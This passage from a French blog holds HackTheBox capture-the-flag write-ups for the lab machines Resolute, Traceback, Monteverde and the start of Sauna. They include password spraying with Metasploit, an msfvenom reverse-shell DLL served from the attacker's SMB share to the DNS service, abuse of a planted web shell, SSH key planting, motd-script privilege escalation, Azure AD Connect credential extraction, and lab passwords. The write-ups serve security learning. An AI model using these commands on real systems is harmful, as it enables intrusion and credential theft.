per Name: (null) Desc: (null)
ryan Name: Ryan Bertrand Desc: (null)
sally Name: (null) Desc: (null)
simon Name: (null) Desc: (null)
steve Name: (null) Desc: (null)
stevie Name: (null) Desc: (null)
sunita Name: (null) Desc: (null)
ulf Name: (null) Desc: (null)
zach Name: (null) Desc: (null)

On découvre rapidement le user marko avec un mot de passe Welcome123! qui bien-sûr ne fonctionne pas. Ma stratégie de base est toujours tester les accès suivants pour chacun des comptes :

  • mot de passe = username/logoname
  • mot de passe = vide
  • mot de passe = Welcome123! (suite à notre découverte)

Je vais construire un fichier users.txt contenant la liste des comptes et utiliser Metasploit avec le module smb_login, en modifiant quelques options :

msfconsole
use auxiliary/scanner/smb/smb_login
set blank_passwords true
set rhosts resolute.htb
set smbdomain MEGABANK
set smbpass Welcome123!
set user_as_pass true
set user_file users.txt
run
Metasploit va être utile pour identifier les couples user/mot de passe valides

Un premier accès valide est identifié avec le compte de melanie :

Un accès valide

Phase d’exploitation 1/2

Nous allons maintenant nous connecter au serveur et tenter obtenir un shell. Nous utiliserons l’outil Evil-WINRM qui offre beaucoup de fonctionnalités, cela fonctionne et nous obtenons le fichier user.txt :

evil-winrm -i resolute.htb -u melanie -p Welcome123!
Fichier user.txt atteint

Phase d’énumération 2/2

Avec cet utilisateur j’ai utilisé plusieurs outils afin d’automatiser la tâche comme WindowsEnum, Powerless and kerbrute mais je ne trouve rien.

Par contre, on découvre la présence d’un autre répertoire utilisateur, celui d’un certain Ryan

Sur le forum HackTheBox on parle de fichiers cachés… je décide de suivre cette voie, cela me permet d’en apprendre un peu plus sur PowerShell.

La commande suivante va nous aider :

Get-ChildItem . -Force

Rapidement on trouve un répertoire intéressant :

Tiens, un répertoire qui n’est pas commun…

Et en cherchant un peu on tombe sur un fichier texte qui ressemble à un fichier de log :

Hum, un fichier de log…

Bingo ! Le fichier contient les accès d’un second utilisateur, notre Ryan justement :

Deuxième accès utilisateur

Nous nous connectons à nouveau avec l’outil Evil-WINRM et ce compte, et on peut voir un groupe local intéressant auquel il appartient, DnsAdmins :

whoami /all
Ryan appartient au groupe DnsAdmins

Une simple recherche sur Internet avec les mots clés privilege escalation windows dnsadmins et on tombe sur cet article très instructif. Tous les détails dans ce second article.

Il semble possible d’executer du code, en l’occurence une dll, avec les droits du compte SYSTEM grâce au service dns.exe. Ce qui ne semble pas représenter une faille de sécurité pour Microsoft, seulement une mauvaise gestion des droits.

On va tenter cette méthode d’exploitation.

Phase d’exploitation 2/2

Il faut d’abord générer notre charge utile avec msfvenom (un fichier *.dll) :

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.19 LPORT=4444 --platform=windows -f dll > plugin.dll

Pour la suite j’utilise trois shell différents :

  • Un Shell pour un serveur SMB temporaire avec Impacket
  • Un Shell avec un listener pour obtenir un Reverse Shell avec Netcat
  • Un Shell pour injecter notre Payload et redémarrer le service dns

Voici la commande executée dans le troisième Shell pour injecter notre charge utile :

dnscmd.exe resolute /config /serverlevelplugindll \\10.10.14.19\SHARE\plugin.dll
Import réussi du fichier DLL

Et voici les trois fenêtres/Shell avec les différentes commandes executées, nous aboutissons au résultat voulu :

On lance le serveur SMB dans un shell :

cd /usr/share/doc/python3-impacket/examples/
./smbserver.py SHARE ~/HTB/Resolute/

Dans un second shell on lance un port en écoute pour le reverse shell :

nc -nlvp 4444

Et dans le dernier, on redémarre le service DNS :

sc.exe stop dns
sc.exe start dns
Nous sommes root.

Nous pouvons donc récuperer le fichier root.txt :

Conclusion

J’ai bien aimé cette VM, une de mes favorites pour l’instant avec Sauna. Cela ouvre d’autres voies d’explorations et d’élévations de privilèges.

Par contre, je suis toujours surpris par le classement des VM sur le niveau de difficulté. Sauna était plus difficile à mon sens. Après, cela dépend certainement des compétences/connaissances de chacun et des affinités que l’on a avec telle ou telle technologie.

20 Avr

HTB – Traceback – Write-up

Introduction

Traceback est une machine virtuelle Linux plutôt fun à faire, que ce soit pour la partie énumération que l’élévation des privilèges.

Pour ma part, j’ai appris à utiliser un nouvel outil pour arriver à mes fins.

La phase d’énumération sort un peu de l’ordinaire et nous force à nous creuser les méninges.

Les informations que nous avons à notre disposition sont :

  • IPv4 = 10.10.10.181
  • Nom de la VM = traceback.htb (par défaut chez HTB)

J’ai utilisé une VM Kali Rolling pour cet article. La plupart des outils utilisés sont disponibles par défaut et certains seront à téléchargés. Nous utiliserons différentes techniques pour parvenir à nos fins.

Phase de reconnaissance

J’effectue un scan (TCP) complet de la machine virtuelle de cette manière :

nmap -A -T4 -sV -p1-65535 -Pn -n --stats-every 10 10.10.10.181 --min-rate 100 -oN nmap-traceback-complete.txt

On identifie ainsi rapidement tous les ports ouverts avec leurs services respectifs. Seulement deux ports (TCP) ouverts :

22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))

Je n’effectue pas de scan des ports UDP.

Phase d’énumération 1/2

D’après les ports ouverts nous voyons qu’il s’agit d’un simple serveur Web. Une seule page Web accessible lors de la connexion :

Une simple page web avec une information utile…

Il semble y avoir une porte dérobée mais laquelle…

J’ai commencé par regarder le site Web en profondeur (fuzzing) avec différents outils et listes de mots mais sans succès…

Mais en regardant le code source de la page, on a un indice :

Un indice, un shell Web…

Du coup, j’ai fait une recherche sur Internet (Google) avec les mots clés web shells Xh4H (signature du message) et là on tombe sur la page GitHub de l’auteur (le premier lien). Puis avec une recherche sur la page (CTRL + F) avec le mot shell on a ce dépôt :

Et en bas de la page du dépôt on retrouve la fameuse citation, nous sommes sur la bonne piste :

La même citation que dans le code source de la page Web…

Je décide de créer ma propre liste de mots avec les pages présentes :

root@HTB:~/HTB/Traceback# cat wordlist.txt
alfa3.php
alfav3.0.1.php
andela.php
bloodsecv4.php
by.php
c99ud.php
cmd.php
configkillerionkros.php
jspshell.jsp
mini.php
obfuscated-punknopass.php
punk-nopass.php
punkholic.php
r57.php
smevk.php
wso2.8.5.php

Puis je lance à nouveau une recherche avec l’outil DirSearch et cette fois on obtient un résultat prometteur :

Enfin on tient quelque chose !

Nous avons enfin accès à la porte dérobée :

La page smevk.php

Sur GitHub, le code source indique que par défaut les accès sont admin/admin :

admin / admin…

Effectivement, c’est bien ca 🙂

Nous sommes (enfin) connectés.

Nous pouvons constater que notre user s’appelle webadmin :

$ whoami
webadmin

Malheureusement, pas de fichier user.txt mais d’autres fichiers intéressants qui devraient nous aider pour la suite :

$ ls -la
total 44
drwxr-x--- 5 webadmin sysadmin 4096 Mar 16 04:03 .
drwxr-xr-x 4 root root 4096 Aug 25 2019 ..
-rw------- 1 webadmin webadmin 105 Mar 16 04:03 .bash_history
-rw-r--r-- 1 webadmin webadmin 220 Aug 23 2019 .bash_logout
-rw-r--r-- 1 webadmin webadmin 3771 Aug 23 2019 .bashrc
drwx------ 2 webadmin webadmin 4096 Aug 23 2019 .cache
drwxrwxr-x 3 webadmin webadmin 4096 Aug 24 2019 .local
-rw-rw-r-- 1 webadmin webadmin 1 Aug 25 2019 .luvit_history
-rw-r--r-- 1 webadmin webadmin 807 Aug 23 2019 .profile
drwxrwxr-x 2 webadmin webadmin 4096 Feb 27 06:29 .ssh
-rw-rw-r-- 1 sysadmin sysadmin 122 Mar 16 03:53 note.txt

Nous allons ajouter notre clé publique SSH sur le serveur. Pour cela, il suffit de se rendre dans le dossier /home/webadmin/.ssh puis d’éditer le fichier authorized_keys et de cliquer sur >> pour valider :

Ajoutons notre clé publique SSH

Il ne reste plus qu’à se connecter et à poursuivre nos recherches :

root@HTB:~/HTB/Traceback# ssh -i ~/.ssh/id_rsa webadmin@10.10.10.181
#
-------- OWNED BY XH4H ---------
I guess stuff could have been configured better ^^ -
#
Welcome to Xh4H land
Last login: Thu Feb 27 06:29:02 2020 from 10.10.14.3
webadmin@traceback:~$

Je m’intéresse toujours à l’historique des commandes Bash, il y a souvent des chose intéressantes, et c’est le cas ici avec le script luvit qui se lancerait avec les droits d’un second utilisateur, sysadmin :

webadmin@traceback:~$ cat .bash_history
ls -la
sudo -l
nano privesc.lua
sudo -u sysadmin /home/sysadmin/luvit privesc.lua
rm privesc.lua
logout

On a la confirmation avec le fichier note.txt :

webadmin@traceback:~$ cat note.txt
sysadmin -
I have left a tool to practice Lua.
I'm sure you know where to find it.
Contact me if you have any question.

Phase d’exploitation 1/2

Nous pouvons effectivement lancer le script, nous obtenons une sorte de Shell dédié au langage de script LUA :

webadmin@traceback:~$ sudo -u sysadmin /home/sysadmin/luvit
Welcome to the Luvit repl!
>

J’effectue des recherches sur Internet sur ce langage et je tombe sur ce cite : https://gtfobins.github.io/gtfobins/lua/. Il semble possible d’obtenir un Shell interactif.

Obtenir un Shell interactif avec LUA.

Effectivement, cela fonctionne, et nous obtenons les droits du second utilisateur sysadmin :

Et voilà, nous sommes sysadmin.

Il nous suffit là aussi d’ajouter notre clé publique SSH afin d’obtenir une connexion SSH confortable pour continuer l’énumération :

On ajoute notre clé SSH publique.

Parfait, cela fonctionne :

root@HTB:~/HTB/Traceback# ssh -i ~/.ssh/id_rsa sysadmin@10.10.10.181
#
-------- OWNED BY XH4H ---------
I guess stuff could have been configured better ^^ -
#
Welcome to Xh4H land
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Mon Mar 16 03:50:24 2020 from 10.10.14.2
$ bash
sysadmin@traceback:~$

Nous pouvons obtenir le fichier user.txt, enfin :

sysadmin@traceback:~$ cat user.txt
4a3e8183cde813a34ffd94180e7e216a

Phase d’énumération 2/2

Je commence à faire le tour du propriétaire manuellement mais je ne trouve rien. Je décide d’utiliser le script LinEnum.sh mais sur le coup rien ne me saute aux yeux. Sur le forum de Hack the box je vois le nom d’un outil qui circule que je ne connaissais pas et décide de m’en servir : https://github.com/DominicBreuker/pspy.

Je le copie sur le serveur et l’exécute :

root@HTB:~/HTB/Traceback# scp -i ~/.ssh/id_rsa pspy64 sysadmin@10.10.10.181:pspy64

Après quelques secondes je vois un message apparaître :

Un script est lancé toutes les 30 secondes…

Pourquoi un script écraserait toutes les 30 secondes les bannières de connexion au shell (motd) ?… et là cela me donne idée ! Vérifier les droits que nous avons dans le répertoire /etc :

sysadmin@traceback:~$ find /etc/ -writable
find: ‘/etc/ssl/private’: Permission denied
/etc/update-motd.d/50-motd-news
/etc/update-motd.d/10-help-text
/etc/update-motd.d/91-release-upgrade
/etc/update-motd.d/00-header
/etc/update-motd.d/80-esm

sysadmin@traceback:~$ ll /etc/update-motd.d/*
-rwxrwxr-x 1 root sysadmin 981 Apr 19 16:26 /etc/update-motd.d/00-header*
-rwxrwxr-x 1 root sysadmin 982 Apr 19 16:26 /etc/update-motd.d/10-help-text*
-rwxrwxr-x 1 root sysadmin 4264 Apr 19 16:26 /etc/update-motd.d/50-motd-news*
-rwxrwxr-x 1 root sysadmin 604 Apr 19 16:26 /etc/update-motd.d/80-esm*
-rwxrwxr-x 1 root sysadmin 299 Apr 19 16:26 /etc/update-motd.d/91-release-upgrade*

Bingo ! Nous pouvons écrire dans ces fichiers qui appartiennent à root. La suite est toute simple : modifier l’un de ces fichiers afin de pouvoir obtenir des accès privilégié. Mais il faudra faire vite !

Phase d’exploitation 2/2

Pour la phase d’exploitation j’ai ouvert quatre consoles avec pour chacune un accès Shell (SSH), comme ceci (vidéo de démonstration en dessous) :

  1. Un Shell qui surveille le processus de copie (en bas à droite)
  2. Un Shell pour copier le fichier root.txt (en bas à gauche)
  3. Un Shell qui surveille la copie du fichier (en haut à droite)
  4. Un shell qui va déclencher l’exploitation (en haut à gauche)

Et voilà, nous avons pu atteindre l’objectif 🙂

sysadmin@traceback:~$ cat root.txt
eacee4160b184a5937ce2ff366e08a00

Conclusion

Machine virtuelle sympathique donc qui change un peu de l’ordinaire, un vrai CTF finalement.

Pour ma part j’ai découvert un nouvel outil qui me servira pour la suite : pspy64 qui est bien fichu.

12 Avr

HTB – Monteverde – Write-up

Introduction

Une machine virtuelle relativement intéressante pour améliorer ses connaissances sur Windows, notamment Active Directory et Azure. En effet, je la trouve moins prenante que Sauna par exemple et surtout moins difficile. Pour moi, c’est une machine Easy et non Medium.

La phase d’énumération est simple et rapide sur cette machine. Ensuite, une fois identifié le profil de la VM, on s’oriente rapidement sur une piste pour arriver à nos fins

Les informations que nous avons à notre disposition sont :

  • IPv4 = 10.10.10.172
  • Nom de la VM = monteverde.htb (par défaut chez HTB)

J’ai utilisé une VM Kali Rolling pour cet article. La plupart des outils utilisés sont disponibles par défaut et certains seront à téléchargés.

Phase de reconnaissance

J’effectue un scan (TCP) complet de la machine virtuelle de cette manière :

nmap -A -T4 -sV -p1-65535 -Pn -n --stats-every 10 10.10.10.172 --min-rate 100 -oN nmap-monteverde-complete.txt

Cela permet d’identifier tous les ports ouverts avec leurs services respectifs et c’est suffisamment rapide.

Voici la totalité des 20 ports (TCP) ouverts :

53/tcp open domain?
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2020-04-07 01:01:44Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp open mc-nmf .NET Message Framing
49667/tcp open msrpc Microsoft Windows RPC
49673/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49674/tcp open msrpc Microsoft Windows RPC
49677/tcp open msrpc Microsoft Windows RPC
49706/tcp open msrpc Microsoft Windows RPC
49778/tcp open msrpc Microsoft Windows RPC

Parmi les ports ouverts nous avons le port TCP 5985 qui correspond à Windows Remote Management (WinRM), pour obtenir un shell.

Phase d’énumération 1/2

D’après les ports ouverts nous voyons qu’il s’agit un contrôleur de domaine. Nous allons tenter de chercher des utilisateurs du domaine.

Nous pouvons interroger le service MS-RPC de Windows à travers Samba et une Null session, on récupère de suite une liste d’utilisateurs :

root@HTB:~/HTB/Monteverde# rpcclient -U "" -N 10.10.10.172
rpcclient $> enumdomusers
user:[Guest] rid:[0x1f5]
user:[AAD_987d7f2f57d2] rid:[0x450]
user:[mhope] rid:[0x641]
user:[SABatchJobs] rid:[0xa2a]
user:[svc-ata] rid:[0xa2b]
user:[svc-bexec] rid:[0xa2c]
user:[svc-netapp] rid:[0xa2d]
user:[dgalanos] rid:[0xa35]
user:[roleary] rid:[0xa36]
user:[smorgan] rid:[0xa37]

Par contre, rien d’intéressant avec Samba/SMB :

root@HTB:~/HTB/Monteverde# smbmap -H 10.10.10.172
[+] IP: 10.10.10.172:445 Name: monteverde
root@HTB:~/HTB/Monteverde#

Le compte « guest » est même désactivé :

root@HTB:~/HTB/Monteverde# smbclient -L 10.10.10.172 -U guest%
session setup failed: NT_STATUS_ACCOUNT_DISABLED

Nous allons vérifier rapidement si nous pouvons récupérer un premier accès utilisateur avec Metasploit. Avant cela, nous allons créer un fichier contenant nos utilisateurs :

root@HTB:~/HTB/Monteverde# cat users.txt
mhope
AAD_987d7f2f57d2
roleary
SABatchJobs
svc-ata
svc-bexec
svc-netapp
smorgan
dgalanos
Guest
Administrator
krbtgt

Ensuite, on lance Metasploit et on va utiliser le module smb_login avec les options suivantes modifiées :

msf5 > use auxiliary/scanner/smb/smb_login
msf5 auxiliary(scanner/smb/smb_login) > show options

Module options (auxiliary/scanner/smb/smb_login):

   Name               Current Setting  Required  Description
   ----               ---------------  --------  -----------
   ABORT_ON_LOCKOUT   false            yes       Abort the run when an account lockout is detected
   BLANK_PASSWORDS    true             no        Try blank passwords for all users
   BRUTEFORCE_SPEED   5                yes       How fast to bruteforce, from 0 to 5
   DB_ALL_CREDS       false            no        Try each user/password couple stored in the current database
   DB_ALL_PASS        false            no        Add all passwords in the current database to the list
   DB_ALL_USERS       false            no        Add all users in the current database to the list
   DETECT_ANY_AUTH    false            no        Enable detection of systems accepting any authentication
   DETECT_ANY_DOMAIN  false            no        Detect if domain is required for the specified user
   PASS_FILE                           no        File containing passwords, one per line
   PRESERVE_DOMAINS   true             no        Respect a username that contains a domain name.
   Proxies                             no        A proxy chain of format type:host:port[,type:host:port][...]
   RECORD_GUEST       false            no        Record guest-privileged random logins to the database
   RHOSTS             10.10.10.172     yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
   RPORT              445              yes       The SMB service port (TCP)
   SMBDomain          .                no        The Windows domain to use for authentication
   SMBPass                             no        The password for the specified username
   SMBUser                             no        The username to authenticate as
   STOP_ON_SUCCESS    false            yes       Stop guessing when a credential works for a host
   THREADS            1                yes       The number of concurrent threads (max one per host)
   USERPASS_FILE                       no        File containing users and passwords separated by space, one pair per line
   USER_AS_PASS       true             no        Try the username as the password for all users
   USER_FILE          users.txt        no        File containing usernames, one per line
   VERBOSE            true             yes       Whether to print output for all attempts

Déjà un premier accès utilisateur disponible avec le compte SABatchJobs :

Un premier compte utilisateur identifié

Ce compte ne donne pas le droit d’obtenir un shell via le service WinRM avec l’outil Evil-WinRM :

Impossible d’avoir un shell avec le compte SABatchJobs

Voyons si on récupère plus d’informations avec ce compte, toujours avec le service MS-RPC de Windows. Mais cette fois on va s’aider d’un outil bien connu et déjà intégré à la distribution Kali, à savoir enum4linux :

root@HTB:~/HTB/Monteverde# enum4linux -a -u SABatchJobs -p SABatchJobs 10.10.10.172

On patiente un peu et on peut déjà obtenir certaines information comme le nom des groupes (notamment Azure Admins) ainsi qu’une liste de partages réseaux accessibles, là aussi avec une référence à Azure :

Partages réseaux
Groupes du domaine MEGABANK

Maintenant vérifions si on peut récupérer des informations intéressantes dans les dossiers identifiés précédemment avec smbclient. On obtient un fichier qui pourrait être utile dans l’un des dossiers utilisateurs :

On récupère le fichier azure.xml

Ce fichier contient un mot de passe en lien avec le produit Microsoft Azure, encore un indice comme le groupe que l’on a vu plus haut :

Clin d’oeil aux marins du 19ème siècle, payés un dollar par jour de labeur

Utilisons à nouveau Metasploit pour voir si ce mot de passe fonctionne avec l’un des autres comptes du domaine. Toujours avec le module smb_login mais cette fois on indique un mot de passe :

Module options (auxiliary/scanner/smb/smb_login):
msf5 auxiliary(scanner/smb/smb_login) > show options

Module options (auxiliary/scanner/smb/smb_login):

   Name               Current Setting     Required  Description
   ----               ---------------     --------  -----------
   ABORT_ON_LOCKOUT   false               yes       Abort the run when an account lockout is detected
   BLANK_PASSWORDS    false               no        Try blank passwords for all users
   BRUTEFORCE_SPEED   5                   yes       How fast to bruteforce, from 0 to 5
   DB_ALL_CREDS       false               no        Try each user/password couple stored in the current database
   DB_ALL_PASS        false               no        Add all passwords in the current database to the list
   DB_ALL_USERS       false               no        Add all users in the current database to the list
   DETECT_ANY_AUTH    false               no        Enable detection of systems accepting any authentication
   DETECT_ANY_DOMAIN  false               no        Detect if domain is required for the specified user
   PASS_FILE                              no        File containing passwords, one per line
   PRESERVE_DOMAINS   true                no        Respect a username that contains a domain name.
   Proxies                                no        A proxy chain of format type:host:port[,type:host:port][...]
   RECORD_GUEST       false               no        Record guest-privileged random logins to the database
   RHOSTS             10.10.10.172        yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
   RPORT              445                 yes       The SMB service port (TCP)
   SMBDomain          .                   no        The Windows domain to use for authentication
   SMBPass            4n0therD4y@n0th3r$  no        The password for the specified username
   SMBUser                                no        The username to authenticate as
   STOP_ON_SUCCESS    false               yes       Stop guessing when a credential works for a host
   THREADS            1                   yes       The number of concurrent threads (max one per host)
   USERPASS_FILE                          no        File containing users and passwords separated by space, one pair per line
   USER_AS_PASS       false               no        Try the username as the password for all users
   USER_FILE          users.txt           no        File containing usernames, one per line
   VERBOSE            true                yes       Whether to print output for all attempts

Bingo, un nouvel utilisateur, mhope :

Deuxième compte de domaine identifié

Phase d’exploitation 1/2

Nous allons maintenant nous connecter au serveur et tenter obtenir un shell. Nous utiliserons à nouveau l’outil Evil-WINRM qui offre beaucoup de fonctionnalités, cette fois cela fonctionne :

root@HTB:~/HTB/Monteverde# evil-winrm -i 10.10.10.172 -u mhope -p 4n0therD4y@n0th3r$
Evil-WinRM shell v2.3
Info: Establishing connection to remote endpoint
Evil-WinRM PS C:\Users\mhope\Documents>

Nous pouvons obtenir le premier drapeau user.txt :

Evil-WinRM PS C:\Users\mhope\Documents> cd ../desktop
Evil-WinRM PS C:\Users\mhope\desktop> more user.txt
4961976bd7d8f4eeb2ce3705e2f212f2

Phase d’énumération 2/2

Ce compte va nous donner de nouveaux indices, notamment les groupes auxquels appartient l’utilisateur :

Evil-WinRM PS C:\Users\mhope\desktop> net user mhope
Ce compte appartient au groupe azure Admins, intéressant

Nous utilisons un nouvel outil pour faire une énumération en profondeur, WindowsEnum :

Evil-WinRM PS C:\Users\mhope\Documents> upload WindowsEnum.ps1
Info: Uploading WindowsEnum.ps1 to C:\Users\mhope\Documents\WindowsEnum.ps1
Data: 9492 bytes of 9492 bytes copied
Info: Upload successful!
Evil-WinRM PS C:\Users\mhope\Documents> powershell -nologo -executionpolicy bypass -file WindowsEnum.ps1 > WindowsEnum.txt

On récupère le fichier de sortie vers notre machine pour analyse. On découvre des programmes utilisés par notre administrateur mhope concernant Azure et notamment Azure AD Sync :

Liste des logiciels installés, dont certains pour Microsoft Azure

En analysant les applications et DLL présentes dans ce répertoire on tombe notamment sur le fichier mcrypt.dll :

Après quelques recherches sur Internet, on tombe rapidement sur ce site, qui nous explique tout : https://blog.xpnsec.com/azuread-connect-for-redteam/

Ce fichier sert à gérer les clés et le déchiffrement des données de la base de données.

Cela tombe bien, avec WindowsEnum nous avons également pu découvrir d’autres ports ouverts mais non accessibles de l’exterieur, notamment le port Microsoft SQL TCP 1433 :

Base de données SQL active

Il semble donc possible d’extraire facilement les données contenues dans la base de données.

Phase d’exploitation 2/2

Le PoC présent dans l’article semble comporter des erreurs de formatage de certains caractères et ne fonctionne pas pour moi.

Je trouve un autre script inspiré de celui-ci ici sur GitHub : https://github.com/Hackplayers/PsCabesha-tools/blob/master/Privesc/Azure-ADConnect.ps1

Là aussi, cela ne fonctionne pas directement, il ne se passe rien lors du lancement du script. J’ai donc retiré certaines parties du script et mis directement les informations dedans et là, miracle !

Bingo !

Ci-dessous le script adapté.

Nous avons donc le mot de passe du compte root. Il ne reste plus qu’à se reconnecter mais cette fois avec le compte administrator pour obtenir le drapeau root.txt :

root@HTB:~/HTB/Monteverde# evil-winrm -i 10.10.10.172 -u Administrator -p d0m@in4dminyeah!
Evil-WinRM shell v2.3
Info: Establishing connection to remote endpoint
Evil-WinRM PS C:\Users\Administrator\Documents> cd ../desktop
Evil-WinRM PS C:\Users\Administrator\desktop> more root.txt
12909612d25c8dcf6e5a07d1a804a0bc

Conclusion

Nous voilà déjà au bout de l’article. Comme évoqué en introduction, la phase d’énumération est plutôt simple à mon goût. Ensuite, Google sera d’une grande aide pour obtenir le compte root.

L’article sur Azure AD est par contre très intéressant et on apprend pas mal de chose.

06 Avr

HTB – Sauna – Write-up

Introduction

Voici une machine virtuelle très intéressante que je recommande fortement aux débutants qui veulent améliorer leurs connaissances sur Windows, notamment Active Directory.

La phase d’énumération sera la plus importante sur cette machine. Tellement importante que nous pourrions la catégoriser au niveau Medium si je devais la comparer à d’autres anciennes VM comme Legacy, Optimum ou encore Blue.

Les informations que nous avons à notre disposition sont :

  • IPv4 = 10.10.10.175
  • Nom de la VM = sauna.htb (par défaut chez HTB)

J’ai utilisé une VM Kali Rolling pour cet article. La plupart des outils utilisés sont disponibles par défaut et certains seront à téléchargés. Nous utiliserons différentes techniques pour parvenir à nos fins.

Phase de reconnaissance

Par habitude j’effectue un scan (TCP) complet de la machine virtuelle de cette manière :

nmap -A -T4 -sV -p1-65535 -Pn -n --stats-every 10 10.10.10.175 --min-rate 100 -oN nmap-sauna-complete.txt

Cela permet d’identifier tous les ports ouverts avec leurs services respectifs et c’est suffisamment rapide.

Avec un scan classique (–top-ports 1000) nous aurions raté 8 ports ouverts :

root@HTB:~/HTB/Sauna# grep -c open nmap-sauna.txt
13
root@HTB:~/HTB/Sauna# grep -c open nmap-sauna-complete.txt
21

Voici la totalité des 21 ports (TCP) ouverts :

53/tcp open domain?
80/tcp open http Microsoft IIS httpd 10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2020-04-06 03:30:49Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp open mc-nmf .NET Message Framing
49667/tcp open msrpc Microsoft Windows RPC
49673/tcp open msrpc Microsoft Windows RPC
49674/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49675/tcp open msrpc Microsoft Windows RPC
49686/tcp open msrpc Microsoft Windows RPC
61968/tcp open msrpc Microsoft Windows RPC

Nous voyons ici que parmi les ports supplémentaires identifiés nous avons le port TCP 5985 qui correspond à Windows Remote Management (WinRM), qui sera fort utile pour obtenir un shell plus tard.

Et nous avons trois ports UDP d’ouverts, dont NTP :

oot@HTB:~/HTB/Sauna# nmap -sU -p1-65535 -Pn -n --stats-every 10 10.10.10.175 --min-rate 100 -oN nmap-sauna-udp-complete.txt
Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-06 11:28 EDT
Nmap scan report for 10.10.10.175
Host is up (0.042s latency).
Not shown: 65532 open|filtered ports
PORT STATE SERVICE
53/udp open domain
123/udp open ntp
389/udp open ldap
Nmap done: 1 IP address (1 host up) scanned in 514.51 seconds

Phase d’énumération 1/2

D’après les ports ouverts nous voyons qu’il s’agit un contrôleur de domaine. Nous allons tenter de chercher des utilisateurs du domaine.

Nous pouvons interroger le service MS-RPC de Windows à travers Samba et une Null session, mais on ne peut pas récupérer grand chose :

root@HTB:~/HTB/Sauna# rpcclient -U "" -N 10.10.10.175
rpcclient $> enumdomusers
result was NT_STATUS_ACCESS_DENIED
rpcclient $> enumdomains
result was NT_STATUS_ACCESS_DENIED
rpcclient $> netshareenum
Could not initialise srvsvc. Error was NT_STATUS_ACCESS_DENIED
rpcclient $> srvinfo
Could not initialise srvsvc. Error was NT_STATUS_ACCESS_DENIED
rpcclient $> lsaenumsid
result was NT_STATUS_ACCESS_DENIED
root@HTB:~/HTB/Sauna# smbmap -H 10.10.10.175
[+] IP: 10.10.10.175:445 Name: sauna.htb
root@HTB:~/HTB/Sauna#

Le compte « guest » est même désactivé :

root@HTB:~/HTB/Sauna# smbclient -L 10.10.10.175 -U guest%
session setup failed: NT_STATUS_ACCOUNT_DISABLED
root@HTB:~/HTB/Sauna#

Nous allons voir du côté de l’annuaire LDAP. On va d’abord tenter de récupérer son DN par défaut de manière anonyme ainsi que le nom de domaine :

root@HTB:~/HTB/Sauna# ldapsearch -LLL -x -H ldap://10.10.10.175 -b '' -s base '(objectclass=*)' | grep -iE '(defaultnamingcontext|dnsHostName)'
dnsHostName: SAUNA.EGOTISTICAL-BANK.LOCAL
defaultNamingContext: DC=EGOTISTICAL-BANK,DC=LOCAL

Parfait. Ensuite, j’utilise JXplorer qui est plus visuel pour moi surtout quand il y a beaucoup d’informations :

JXplorer

Mais là aussi la pêche est maigre, juste le nom d’un utilisateur sans plus d’informations :

JXplorer en mode anonyme

J’ai commencé à regarder le site Web en profondeur (fuzzing), c’est un site Web « statique » avec une seule page Web avec des ancres :

root@HTB:~/HTB/Sauna# patator http_fuzz url=http://sauna.htb/FILE0 0=~/wordlists/dirbuster/directory-list-2.3-medium.txt -x ignore:code=404 -x ignore,retry:code=500 -t 50
21:14:44 patator INFO - Starting Patator v0.7 (https://github.com/lanjelot/patator) at 2020-04-05 21:14 EDT
21:14:48 patator INFO -
21:14:48 patator INFO - code size:clen time | candidate | num | mesg
21:14:48 patator INFO - -----------------------------------------------------------------------------
…
21:14:50 patator INFO - 200 33019:32797 0.337 | # | 10 | HTTP/1.1 200 OK
21:14:50 patator INFO - 200 33019:32797 0.448 | # | 13 | HTTP/1.1 200 OK
21:14:50 patator INFO - 301 343:147 0.508 | images | 16 | HTTP/1.1 301 Moved Permanently
21:14:50 patator INFO - 200 33019:32797 0.594 | # on atleast 2 different hosts | 12 | HTTP/1.1 200 OK
21:14:50 patator INFO - 200 33019:32797 0.527 | | 14 | HTTP/1.1 200 OK
21:14:51 patator INFO - 301 343:147 0.052 | Images | 203 | HTTP/1.1 301 Moved Permanently
21:14:53 patator INFO - 301 337:144 0.034 | css | 550 | HTTP/1.1 301 Moved Permanently
21:14:59 patator INFO - 301 341:146 0.049 | fonts | 2771 | HTTP/1.1 301 Moved Permanently
21:15:00 patator INFO - 301 343:147 0.037 | IMAGES | 3673 | HTTP/1.1 301 Moved Permanently
21:15:03 patator INFO - 301 341:146 0.030 | Fonts | 5582 | HTTP/1.1 301 Moved Permanently
21:15:07 patator INFO - 301 337:144 0.021 | CSS | 8475 | HTTP/1.1 301 Moved Permanently
